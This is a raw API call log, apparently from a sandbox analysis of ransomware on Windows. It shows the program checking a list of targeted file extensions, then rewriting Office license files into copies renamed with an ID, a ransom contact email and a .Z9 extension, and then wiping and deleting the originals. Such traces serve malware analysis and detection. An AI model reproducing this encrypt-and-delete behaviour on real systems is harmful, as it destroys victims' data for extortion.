	[0179.954] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.954] lstrlenW (lpString=".zip") returned 4
	[0179.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString=".rar") returned 4
	[0179.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString=".bz2") returned 4
	[0179.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString=".7z") returned 3
	[0179.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.954] lstrlenW (lpString=".dbf") returned 4
	[0179.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.954] lstrlenW (lpString=".1cd") returned 4
	[0179.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.954] lstrlenW (lpString=".jpg") returned 4
	[0179.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.954] lstrlenW (lpString=".doc") returned 4
	[0179.954] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString=".docx") returned 5
	[0179.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.954] lstrlenW (lpString=".pdf") returned 4
	[0179.955] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString=".xls") returned 4
	[0179.955] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString=".xlsx") returned 5
	[0179.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.955] lstrlenW (lpString=".ppt") returned 4
	[0179.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.955] lstrlenW (lpString=".zip") returned 4
	[0179.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString=".rar") returned 4
	[0179.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString=".bz2") returned 4
	[0179.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString=".7z") returned 3
	[0179.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.955] lstrlenW (lpString=".dbf") returned 4
	[0179.955] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.955] lstrlenW (lpString=".1cd") returned 4
	[0179.955] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.955] lstrlenW (lpString=".jpg") returned 4
	[0179.955] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.955] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.956] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35
	[0179.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0179.956] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11613) returned 1
	[0179.956] CloseHandle (hObject=0x520) returned 1
	[0179.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220
	[0179.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0179.957] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.957] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.958] GetLastError () returned 0x0
	[0179.958] ReadFile (in: hFile=0x520, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0179.961] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0179.962] ReadFile (in: hFile=0x520, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.962] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11a, lpOverlapped=0x0) returned 1
	[0179.962] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.962] CloseHandle (hObject=0x4a8) returned 1
	[0179.963] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.963] SetEndOfFile (hFile=0x520) returned 1
	[0179.966] CloseHandle (hObject=0x520) returned 1
	[0179.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1
	[0179.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.967] lstrlenW (lpString=".doc") returned 4
	[0179.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.967] lstrlenW (lpString=".docx") returned 5
	[0179.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.967] lstrlenW (lpString=".pdf") returned 4
	[0179.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString=".xls") returned 4
	[0179.968] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString=".xlsx") returned 5
	[0179.968] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.968] lstrlenW (lpString=".ppt") returned 4
	[0179.968] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.968] lstrlenW (lpString=".zip") returned 4
	[0179.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString=".rar") returned 4
	[0179.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString=".bz2") returned 4
	[0179.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString=".7z") returned 3
	[0179.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.968] lstrlenW (lpString=".dbf") returned 4
	[0179.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.968] lstrlenW (lpString=".1cd") returned 4
	[0179.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.968] lstrlenW (lpString=".jpg") returned 4
	[0179.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.968] lstrlenW (lpString=".doc") returned 4
	[0179.968] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString=".docx") returned 5
	[0179.969] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.969] lstrlenW (lpString=".pdf") returned 4
	[0179.969] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString=".xls") returned 4
	[0179.969] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString=".xlsx") returned 5
	[0179.969] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.969] lstrlenW (lpString=".ppt") returned 4
	[0179.969] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.969] lstrlenW (lpString=".zip") returned 4
	[0179.969] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString=".rar") returned 4
	[0179.969] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString=".bz2") returned 4
	[0179.969] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString=".7z") returned 3
	[0179.969] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.969] lstrlenW (lpString=".dbf") returned 4
	[0179.969] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.969] lstrlenW (lpString=".1cd") returned 4
	[0179.969] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0179.969] lstrlenW (lpString=".jpg") returned 4
	[0179.969] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.970] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.970] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35
	[0179.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.137] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19958) returned 1
	[0180.137] CloseHandle (hObject=0x4a8) returned 1
	[0180.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220
	[0180.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0180.371] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.371] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0181.048] GetLastError () returned 0x0
	[0181.048] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0181.297] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0181.298] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.299] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11a, lpOverlapped=0x0) returned 1
	[0181.299] SetEndOfFile (hFile=0x460) returned 1
	[0181.299] CloseHandle (hObject=0x460) returned 1
	[0181.299] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.299] SetEndOfFile (hFile=0x4bc) returned 1
	[0181.303] CloseHandle (hObject=0x4bc) returned 1
	[0181.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.304] lstrlenW (lpString=".doc") returned 4
	[0181.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".docx") returned 5
	[0181.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.305] lstrlenW (lpString=".pdf") returned 4
	[0181.305] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".xls") returned 4
	[0181.305] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".xlsx") returned 5
	[0181.305] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.305] lstrlenW (lpString=".ppt") returned 4
	[0181.305] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.305] lstrlenW (lpString=".zip") returned 4
	[0181.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".rar") returned 4
	[0181.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".bz2") returned 4
	[0181.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".7z") returned 3
	[0181.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.305] lstrlenW (lpString=".dbf") returned 4
	[0181.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.305] lstrlenW (lpString=".1cd") returned 4
	[0181.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.305] lstrlenW (lpString=".jpg") returned 4
	[0181.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.305] lstrlenW (lpString=".doc") returned 4
	[0181.305] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".docx") returned 5
	[0181.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.306] lstrlenW (lpString=".pdf") returned 4
	[0181.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString=".xls") returned 4
	[0181.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString=".xlsx") returned 5
	[0181.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.306] lstrlenW (lpString=".ppt") returned 4
	[0181.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.306] lstrlenW (lpString=".zip") returned 4
	[0181.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString=".rar") returned 4
	[0181.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString=".bz2") returned 4
	[0181.306] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString=".7z") returned 3
	[0181.306] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.306] lstrlenW (lpString=".dbf") returned 4
	[0181.306] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.306] lstrlenW (lpString=".1cd") returned 4
	[0181.306] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0181.306] lstrlenW (lpString=".jpg") returned 4
	[0181.306] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.306] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0181.306] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30
	[0181.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0181.307] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11171) returned 1
	[0181.307] CloseHandle (hObject=0x4bc) returned 1
	[0181.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220
	[0181.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0181.308] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.308] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0181.309] GetLastError () returned 0x0
	[0181.309] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0182.426] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0182.429] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.429] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0182.429] SetEndOfFile (hFile=0x460) returned 1
	[0182.430] CloseHandle (hObject=0x460) returned 1
	[0182.430] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.430] SetEndOfFile (hFile=0x4bc) returned 1
	[0182.432] CloseHandle (hObject=0x4bc) returned 1
